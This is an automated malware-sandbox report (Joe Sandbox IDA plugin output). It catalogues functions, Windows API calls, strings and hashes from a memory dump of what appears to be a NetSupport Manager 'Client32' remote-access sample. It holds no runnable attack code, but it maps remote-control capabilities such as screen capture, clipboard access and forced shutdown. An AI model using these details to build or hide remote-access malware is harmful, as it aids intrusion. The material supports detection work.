Instruction ID: 3f5e2fac070dea14f3891a400a113320305e04274e4377c915948b360447a4d7
Opcode Fuzzy Hash: 5721f2e809c671462517d0942ae611814f796fea76f8131e53dc28eec5528502
Instruction Fuzzy Hash: CFF0A7316025149BCB304965DC606863ABEEFC3378B250322F93CC29C0D631C50682B6

Non-executed Functions

Function 1102D330 Relevance: 70.6, APIs: 21, Strings: 19, Instructions: 575sleepfileshutdownCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(111ED4B8), ref: 1102D382
Sleep.KERNEL32(0000EA60), ref: 1102D3A5

Part of subcall function 11026F20: PostThreadMessageA.USER32(00000000,00000501,1102D590,00000000), ref: 11026F72
Part of subcall function 11026F20: Sleep.KERNEL32(00000032,?,1102D590,00000001), ref: 11026F76
Part of subcall function 11026F20: PostThreadMessageA.USER32(00000000,00000012,00000000,00000000), ref: 11026F97
Part of subcall function 11026F20: WaitForSingleObject.KERNEL32(00000000,00000032,?,1102D590,00000001), ref: 11026FA2
Part of subcall function 11026F20: CloseHandle.KERNEL32(00000000,1102E392,?,1102D590,00000001), ref: 11026FB4
Part of subcall function 11026F20: FreeLibrary.KERNEL32(00000000,00000000,00000000,1102E392,?,1102D590,00000001), ref: 11026FE1

GetCurrentProcess.KERNEL32(00000020,00000000,00000000), ref: 1102D3AB
SetPriorityClass.KERNEL32(00000000), ref: 1102D3B2
SetEvent.KERNEL32(00000254), ref: 1102D3E7
Sleep.KERNEL32(000007D0), ref: 1102D4D8
PostThreadMessageA.USER32(00001C30,00000000,00000000,00000000), ref: 1102D5BC
CloseHandle.KERNEL32(0000025C), ref: 1102D815
_free.LIBCMT ref: 1102D825
_free.LIBCMT ref: 1102D841
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1102D8D4
GetFileAttributesA.KERNEL32(?), ref: 1102D8E1
_memset.LIBCMT ref: 1102D983
FindFirstFileA.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 1102D99B
FindNextFileA.KERNEL32(00000000,00000010,?,?,?,00000000,00000000), ref: 1102D9C2
FindClose.KERNEL32(00000000,?,?,?,00000000,00000000), ref: 1102D9C9
ExitWindowsEx.USER32(00000002,00000000), ref: 1102DAB7
Sleep.KERNEL32(00002710), ref: 1102DABE
ExitWindowsEx.USER32(00000006,00000000), ref: 1102DAD4
Sleep.KERNEL32(000007D0), ref: 1102DAE0
ExitProcess.KERNEL32 ref: 1102DAF4

Strings

Error. Multiple Terminate. , xrefs: 1102D38C
CLIENT32.CPP, xrefs: 1102D95F
remove smartcard devices, xrefs: 1102D623
TermUI..., xrefs: 1102D681
*.*, xrefs: 1102D973
Warning. Unprocessed notify, type=%d, xrefs: 1102D721
deleted ipc, xrefs: 1102D6B7
Unload Hook, xrefs: 1102D4DE
Finished terminate, xrefs: 1102DAE6
Stop tracing, almost terminated, xrefs: 1102DA88
pSlash, xrefs: 1102D964
Terminate Client32 (err=%d), xrefs: 1102D362
delete gMain.ev, xrefs: 1102D7E2
Termed, xrefs: 1102D690
Audio, xrefs: 1102D50E
Warning. Unprocessed notify NC_CMD, cmd=%d, xrefs: 1102D719
632922, xrefs: 1102D412
HookDirectSound, xrefs: 1102D509
Error %s unloading audiocap dll, xrefs: 1102D896

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Sleep$File$CloseExitFindMessagePostThread$HandleProcessWindows_free$AttributesClassCurrentEventFirstFreeIncrementInterlockedLibraryModuleNameNextObjectPrioritySingleWait_memset
String ID: *.*$632922$Audio$CLIENT32.CPP$Error %s unloading audiocap dll$Error. Multiple Terminate. $Finished terminate$HookDirectSound$Stop tracing, almost terminated$TermUI...$Termed$Terminate Client32 (err=%d)$Unload Hook$Warning. Unprocessed notify NC_CMD, cmd=%d$Warning. Unprocessed notify, type=%d$delete gMain.ev$deleted ipc$pSlash$remove smartcard devices
API String ID: 2369127096-1430984445
Opcode ID: add873a8ab015faf9889e95090e84e2001c1be1f53f7e8c1ad7b83b87d9131ad
Instruction ID: 7f46233fb5632011b045e2eff7fc4cb47a6b13c38cfe1b2a85386abe64dfbaee
Opcode Fuzzy Hash: add873a8ab015faf9889e95090e84e2001c1be1f53f7e8c1ad7b83b87d9131ad
Instruction Fuzzy Hash: D212F778E001229FDB16DFE8CCC4E6DF7A6AB8470CFA401A9E52557644EB71BD80CB52

Function 11113290 Relevance: 44.0, APIs: 29, Instructions: 470windowsleepkeyboardCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 111132BA
GetTickCount.KERNEL32 ref: 1111332E
CreateRectRgn.GDI32(00000000,?,?,?), ref: 11113352
GetClientRect.USER32(?,?), ref: 11113402
SetStretchBltMode.GDI32(?,00000004), ref: 11113534
CreateRectRgn.GDI32(?,?,?,?), ref: 1111358F
GetClipRgn.GDI32(?,00000000), ref: 111135A3
OffsetRgn.GDI32(00000000,00000000,00000000), ref: 111135C8
GetRgnBox.GDI32(00000000,?), ref: 111135D3
SelectClipRgn.GDI32(?,00000000), ref: 111135E1
StretchBlt.GDI32(?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1111366B
SelectClipRgn.GDI32(?,00000000), ref: 1111367A
DeleteObject.GDI32(?), ref: 11113684
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00CC0020), ref: 111136C2
GetWindowOrgEx.GDI32(?,?), ref: 111136D7
StretchBlt.GDI32(?,?,?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 1111371C
GetKeyState.USER32(000000A3), ref: 11113747
CreatePen.GDI32(00000000,00000001,000000FF), ref: 1111378B
CreatePen.GDI32(00000000,00000001,00FFFFFF), ref: 1111379D
SelectObject.GDI32(00000000,?), ref: 111137B1
Polyline.GDI32(00000000,?,00000005), ref: 111137C7
Sleep.KERNEL32(00000032), ref: 111137CF
SelectObject.GDI32(00000000,?), ref: 111137E0
Polyline.GDI32(00000000,?,00000005), ref: 111137F3
Sleep.KERNEL32(00000032), ref: 111137FB
SelectObject.GDI32(00000000,?), ref: 1111380C
DeleteObject.GDI32(?), ref: 11113816
DeleteObject.GDI32(?), ref: 11113820
BitBlt.GDI32(00000000,00000000,00000000,00004000,?,?,00000000,00000000,00CC0020), ref: 11113845

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Object$Select$CreateStretch$ClipDeleteRect$PolylineSleep$ClientCountIconicModeOffsetStateTickWindow
String ID:
API String ID: 879653699-0
Opcode ID: d401745ce30a04a168751c86834ada46f257f5b09613656bfb34517905d94607
Instruction ID: 189fb298e01def9bf465b0ce988e90e2b94731e78913cb033f8d66d61a6768cc
Opcode Fuzzy Hash: d401745ce30a04a168751c86834ada46f257f5b09613656bfb34517905d94607
Instruction Fuzzy Hash: E112F7B1A147099FDB14CFB8C984AAEF7F9EF88315F10452DE55A9B258DB70A841CF10

Function 1103B160 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 196fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHFOLDER(00000000,00000005,00000000,00000000,?), ref: 1103B1B2
GetUserNameA.ADVAPI32(?,?), ref: 1103B1D9

Part of subcall function 110D0710: __strdup.LIBCMT ref: 110D072A

DeleteFileA.KERNEL32(?), ref: 1103B23A
_sprintf.LIBCMT ref: 1103B2BB
_fputs.LIBCMT ref: 1103B330
GetFileAttributesA.KERNEL32(?), ref: 1103B3A1
_free.LIBCMT ref: 1103B336

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

SetFileAttributesA.KERNEL32(?,00000000), ref: 1103B3DF

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

Strings

\Rewards.bin, xrefs: 1103B1F1
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103B221, 1103B259, 1103B388, 1103B3C2
P, xrefs: 1103B1CF
IsA(), xrefs: 1103B226, 1103B25E, 1103B38D, 1103B3C7
%05d, xrefs: 1103B2B1

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: File$AttributesExitProcess$DeleteErrorFolderLastMessageNamePathUser__strdup_fputs_free_sprintf_strrchrwsprintf
String ID: %05d$IsA()$P$\Rewards.bin$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 383231468-3762817415
Opcode ID: 2af526d8f5190e790c0ca9edbbc40dfe78f9b0864dccbff27541257fc5a2cfb5
Instruction ID: bb1b01960f0c7610cbc3075388277e5ec166904b02cd10daef8a33cd2ba906d0
Opcode Fuzzy Hash: 2af526d8f5190e790c0ca9edbbc40dfe78f9b0864dccbff27541257fc5a2cfb5
Instruction Fuzzy Hash: 7A71A235D4462AAFDB15CB64CC54FEEB3B4AF54308F0442D8E819A7284EB71AA44CFA0

Function 110CB2B0 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 168windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000,?), ref: 110CB339
IsIconic.USER32(00000001), ref: 110CB349
GetClientRect.USER32(00000001,?), ref: 110CB358
GetSystemMetrics.USER32(00000000), ref: 110CB36D
GetSystemMetrics.USER32(00000001), ref: 110CB374
IsIconic.USER32(00000001), ref: 110CB3A4
GetWindowRect.USER32(00000001,?), ref: 110CB3B3
SetWindowPos.USER32(?,00000000,?,11185BBB,00000000,00000000,0000001D,00000000,?,00000001,?,00000002,?,?), ref: 110CB467

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\nsmdlg.cpp, xrefs: 110CB2F9
m_eh, xrefs: 110CB2FE
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110CB31F, 110CB447
m_hWnd, xrefs: 110CB324, 110CB44C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: RectWindow$IconicMetricsSystem$ClientErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\nsmdlg.cpp$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_eh$m_hWnd
API String ID: 2655531791-1552842965
Opcode ID: 336b00d43c8ecb03fd1d32f6a3e6328df4ddd987a58dd775271b0821d673290e
Instruction ID: 7d040125c55bf73af4456014bc99c48d8e10f47c0045797434645e7542fd0d49
Opcode Fuzzy Hash: 336b00d43c8ecb03fd1d32f6a3e6328df4ddd987a58dd775271b0821d673290e
Instruction Fuzzy Hash: 2C51C175E0061AAFCB10CFA4CC84FEEB7F8FB48754F0481A9E915A7280EA74A940CF50

Function 110F33F0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 79pipesleepmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014,?,00000000), ref: 110F33FC
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 110F3425
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 110F3432
CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,?,?,000003E8,?), ref: 110F3463
GetLastError.KERNEL32 ref: 110F3470
Sleep.KERNEL32(000003E8), ref: 110F348F
CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,00000001,?,000003E8,0000000C), ref: 110F34AE
LocalFree.KERNEL32(?), ref: 110F34BF

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

pSD, xrefs: 110F3415
e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 110F3410
CreateNamedPipe %s failed, error %d, xrefs: 110F3478

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CreateDescriptorErrorLastLocalNamedPipeSecurity$AllocDaclExitFreeInitializeMessageProcessSleepwsprintf
String ID: CreateNamedPipe %s failed, error %d$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$pSD
API String ID: 3134831419-838605531
Opcode ID: 6fb66e34af5f69f470863fb769d28e04784f24a47ad29a0bb3f1c0886bbebacf
Instruction ID: e749730b24da6d9d65aa5dc542e4a1298255c3932a1a24cca1bc6d9c8703c538
Opcode Fuzzy Hash: 6fb66e34af5f69f470863fb769d28e04784f24a47ad29a0bb3f1c0886bbebacf
Instruction Fuzzy Hash: 0821DD75E54229BBE7119B64CC8AFAFB76CE744719F014210FE25672C0C7B05A018790

Function 11033010 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 312COMMON

Download Yara Rule

Strings

Client, xrefs: 1103309E, 110331AB, 1103333A
Sendclip Error: Cant open clip, xrefs: 1103316D
DisableClipBoard, xrefs: 11033099, 110331A6, 11033335
openclip Error: Cant open clip, xrefs: 110332E2
CheckClip Error: Can't open clip, e=%d, xrefs: 110330F0

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID:
String ID: CheckClip Error: Can't open clip, e=%d$Client$DisableClipBoard$Sendclip Error: Cant open clip$openclip Error: Cant open clip
API String ID: 0-293745777
Opcode ID: 5f040545b05273c81cb9d4a4bd22d43a279a27486dfb0bd605f0804696ac8a8f
Instruction ID: daee403c678e01c213c7a1d72acf829bd0b7d6ab4ed81c5860d9e9f482a37d6e
Opcode Fuzzy Hash: 5f040545b05273c81cb9d4a4bd22d43a279a27486dfb0bd605f0804696ac8a8f
Instruction Fuzzy Hash: 7AA1F535B102069FD710DFA5DC91FAAF3A4EFD834AF10459DEA4A9B380DA31B940CB91

Function 11093080 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(11147750), ref: 11093089

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

OpenEventA.KERNEL32(001F0003,00000000,NSMFindClassEvent), ref: 110930B9
FindWindowA.USER32(NSMClassList,00000000), ref: 110930CA
SetForegroundWindow.USER32(00000000), ref: 110930D1

Part of subcall function 110914F0: GlobalAddAtomA.KERNEL32(NSMClassList), ref: 11091552

Part of subcall function 11092FF0: GetClassInfoA.USER32(110930EC,NSMClassList,?), ref: 11093004

Part of subcall function 11091620: CreateWindowExA.USER32(00000000,NSMClassList,00000000,00000000), ref: 1109166D
Part of subcall function 11091620: UpdateWindow.USER32(?), ref: 110916BF

CreateEventA.KERNEL32(00000000,00000000,00000001,NSMFindClassEvent,?,00000000,?,00000000), ref: 11093111

Part of subcall function 110916D0: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110916EA
Part of subcall function 110916D0: TranslateAcceleratorA.USER32(?,?,?,?,?,?,11093120,?,00000000,?,00000000), ref: 11091717
Part of subcall function 110916D0: TranslateMessage.USER32(?), ref: 11091721
Part of subcall function 110916D0: DispatchMessageA.USER32(?), ref: 1109172B
Part of subcall function 110916D0: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1109173B

CloseHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 11093135

Part of subcall function 11091590: GlobalDeleteAtom.KERNEL32(00000000), ref: 110915CE

Strings

NSMClassList, xrefs: 110930C5
NSMFindClassEvent, xrefs: 110930AD, 11093106

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: MessageWindow$AtomCreateEventGlobalTranslate$AcceleratorClassCloseDeleteDispatchExceptionFilterFindForegroundHandleInfoOpenUnhandledUpdate_malloc_memsetwsprintf
String ID: NSMClassList$NSMFindClassEvent
API String ID: 1622498684-2883797795
Opcode ID: a756580c972c2b1c89b543717e50c84920c15868da069fb40308e575ba74b854
Instruction ID: dc520b378aeee27ae2973ce0394f0415fb857a8947d0a09b3e9437a491b5cd63
Opcode Fuzzy Hash: a756580c972c2b1c89b543717e50c84920c15868da069fb40308e575ba74b854
Instruction Fuzzy Hash: 7111E976F4821D77EB00A6B51C69F6FBADC5B847A8F001024F92DD62C4EF14E401A7A6

Function 1115B1D0 Relevance: 13.6, APIs: 9, Instructions: 125windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11142DD0: _memset.LIBCMT ref: 11142DF9
Part of subcall function 11142DD0: GetVersionExA.KERNEL32(?), ref: 11142E12

_memset.LIBCMT ref: 1115B266
SendMessageA.USER32(?,000005FF,00000000,00000000), ref: 1115B29C
ShowWindow.USER32(?,00000006,?,?,?,?,?), ref: 1115B2AC
GetDesktopWindow.USER32 ref: 1115B309
TileWindows.USER32(00000000,?,?,?,?), ref: 1115B310

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window_memset$DesktopMessageSendShowTileVersionWindows
String ID:
API String ID: 2935161463-0
Opcode ID: 904692d62195826fcfb4a436604818d54d62b693bb951996d617b667ce96a948
Instruction ID: b14402a4e76bbdd80eea2f1b3df88d79255beb3666519cd349b4ccd6d2fbdf9c
Opcode Fuzzy Hash: 904692d62195826fcfb4a436604818d54d62b693bb951996d617b667ce96a948
Instruction Fuzzy Hash: 39410271A00205ABEB809F64CDC5B6EF7B9FF46354F104065E925EB280DB70E940CFA9

Function 11063160 Relevance: 149.1, APIs: 42, Strings: 43, Instructions: 353libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(11074E10,ctl_version), ref: 11063177
GetProcAddress.KERNEL32(11074E10,ctl_installed), ref: 1106319C
GetProcAddress.KERNEL32(11074E10,ctl_netname), ref: 110631C2
GetProcAddress.KERNEL32(11074E10,ctl_remotename), ref: 110631E8
GetProcAddress.KERNEL32(11074E10,ctl_bridgename), ref: 1106320E
GetProcAddress.KERNEL32(11074E10,ctl_networks), ref: 11063234
GetProcAddress.KERNEL32(11074E10,ctl_pingnet), ref: 1106325A
GetProcAddress.KERNEL32(11074E10,ctl_open), ref: 11063280
GetProcAddress.KERNEL32(11074E10,ctl_close), ref: 110632A6
GetProcAddress.KERNEL32(11074E10,ctl_getsession), ref: 110632F2
GetProcAddress.KERNEL32(11074E10,ctl_call), ref: 11063318
GetProcAddress.KERNEL32(11074E10,ctl_hangup), ref: 1106333E
